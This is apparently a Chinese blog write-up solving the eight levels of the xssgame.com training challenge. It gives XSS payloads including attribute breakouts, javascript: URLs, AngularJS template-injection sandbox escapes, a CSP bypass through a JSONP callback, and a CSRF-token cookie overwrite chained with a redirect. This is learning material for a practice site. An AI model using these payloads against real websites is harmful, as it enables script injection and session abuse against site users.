xss挑战赛小记 0x03(xssgame)
0x00
继续做xss吧
这次是xssgame
地址 http://www.xssgame.com/
一共八关 学到了很多东西
0x01
啥也没有
<svg/onload="alert(1)">
0x02

显然是这个点了
');alert(1)(' 就行了 多个属性用分号间隔
换行回车也行
0x03

换图片的时候发现#1 这个东西 找了下显然是这个点
双引号没有成功 试了下单引号
#1.jpg' onload="alert(1)" 然后就是这样了
0x04
welcomewelcome下有个sign up 点击到singup下 signup?next=confirm 输入email之后到confirm下 自动跳转 confirm?next=welcome
一直是这样的循环 confirm下是一个自动跳转到welcome的
想到了伪协议 javascript:alert(1) 这就弹了
0x05

发现表单里还有两个隐藏的input
但是输入好像都不行
没辙看了wp 发现是一个angular js模板注入
ng-non-bindable这个下所有的属性都不会解析怪不得怎么闭合都没用
在campaign这个参数下
google出来的payload
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} 不能弹
但是wp给的payload可以
{{$eval(%27alert(1)%27)}}
两个隐藏的input的name参数都可以弹
0x06
还是angular模板 找了对应版本的注入payload
发现不行
单引号被转为实体字符了
试了一下get发送参数 发现会显示在form上
但是{会被吃掉
wp的意思是因为会经过模板的渲染 所以可以用实体字符
{用来代替{
{{a=%27constructor%27;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,%27alert(1)%27)()}}
{{$eval(%27alert(1)%27)}}
0x07
这道题说的是csp的绕过
Content-Security-Policy:default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/
观察页面 可见?menu=YWJvdXQ= 后面的参数会被base64解码
<script src="jsonp?menu=about"></script>这个东西就比较有意思了
搜了一下jsonp xss 提到了jsonp有个callback这个参数可能导致xss
传参给menu经过base加密的就好了
<script src="jsonp?callback=alert(1)"></script>
0x08
csp和前一题没有区别
有两个表单发给不同的地方 set和transfer
transfer的amount参数要求为数字 如果不为数字则会被显示
像是一个xss的点
插入xss代码发现不允许弹框 因为csrf_token的问题
仔细观察可以发现set表单下有些东西
首先可以设置name
同时设置的东西是存在cookie里面的
这样就可以控制csrf_token
其次redirect是控制跳转的
这样就可以通过设置csrf_token然后跳转到transfer下弹框
set?name=csrf_token&value=xx&redirect=transfer?name=attacker&amount=xxx"><script>alert(1)</script>&csrf_token=xx
但是不知道为啥 如果符号不经过url编码就不能成功
0x0X
这次其实还是一般参考了wp
暂时也只能做得出来简单的xss了
但是还是学习了一些新的姿势
xss挑战赛小记 0x03(xssgame)的更多相关文章
- xss挑战赛小记 0x02(prompt(1))
0x0O 上次搜xss挑战赛的时候 还找到了一个看上去难度更高的挑战赛 今天做了一下 学到了很多新东西 这个挑战赛能够在页面成功prompt(1)就算过关了 挑战地址 http://prompt.ml ...
- xss挑战赛小记 0x01(xsstest)
0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址 http://test.xss.tv/ ...
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- XSS挑战赛(3)
查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...
- XSS挑战赛(2)
进入第六关 简单判断过滤情况 <>script"'/ 查看源代码 可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗 "><script>ale ...
- XSS挑战赛(4)
16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...
- XSS挑战赛(1)
以前囫囵吞枣做过一遍,现在从头再来 第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test 而页面上显示了用户test,name可控, ...
- 先知xss挑战赛学习笔记
xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...
- 有趣的游戏:Google XSS Game
Google最近出了一XSS游戏: https://xss-game.appspot.com/ 我这个菜鸟看提示,花了两三个小时才全过了.. 这个游戏的规则是仅仅要在攻击网页上弹出alert窗体就能够 ...
随机推荐
- 学习和运用scrum
作为长大的大三老腊肉,我们已经在长大生活了两年多,对于什么是长大人最想完善的校园需求.最想拥有的校园服务媒介也有了更加深切的体会. 于是,GoodJob小团队blingbling闪现啦!! GoodJ ...
- Bootstrap table分页问题汇总
首先非常感谢作者针对bootstrap table分页问题进行详细的整理,并分享给了大家,希望通过这篇文章可以帮助大家解决Bootstrap table分页的各种问题,谢谢大家的阅读. 问题1 :服务 ...
- python:进程操作
一.多进程应用 import socket from multiprocessing import Process def talk(conn): conn.send(b'connected') re ...
- ART_20190430
Algorithm-算法题 第一个只出现一次的字符 在一个字符串(0<=字符串长度<=10000,全部由字母组成)中找到第一个只出现一次的字符,并返回它的位置, 如果没有则返回 -1(需要 ...
- Java+maven+selenium3+testng 自动化测试环境IDEA
idea .java环境变量jdk maven安装及环境变量配置这里就不多说了,网上有很多教程 这里我们只检测一下java.maven环境是否安装成功 win+R,运行cmd命令行:mvn -v ...
- Idea 配置 Database 组件的MySql数据库连接
1.选择MySql
- 【洛谷P1108】低价购买
低价购买 题目链接 n<=5000 n^2的算法是可以接受的 第一个数字显然是求最长下降子序列,可以n^2或nlognDP 要求方案数,可以在n^2算法中做一些修改,DP求方案数 dp[i]表示 ...
- 【luogu P1640 [SCOI2010]连续攻击游戏】 题解
题目链接:https://www.luogu.org/problemnew/show/P1640 数据有点水吧,从属性值连向对应武器编号. 枚举属性值匹配,遇到第一个无法匹配的直接跳出就好惹~. #i ...
- caffe convert mxnet
https://github.com/apache/incubator-mxnet/tree/430ea7bfbbda67d993996d81c7fd44d3a20ef846/tools/caffe_ ...
- generative models
A generative model G can be seen as taking a random seed h (say, a sample from a multivariate Normal ...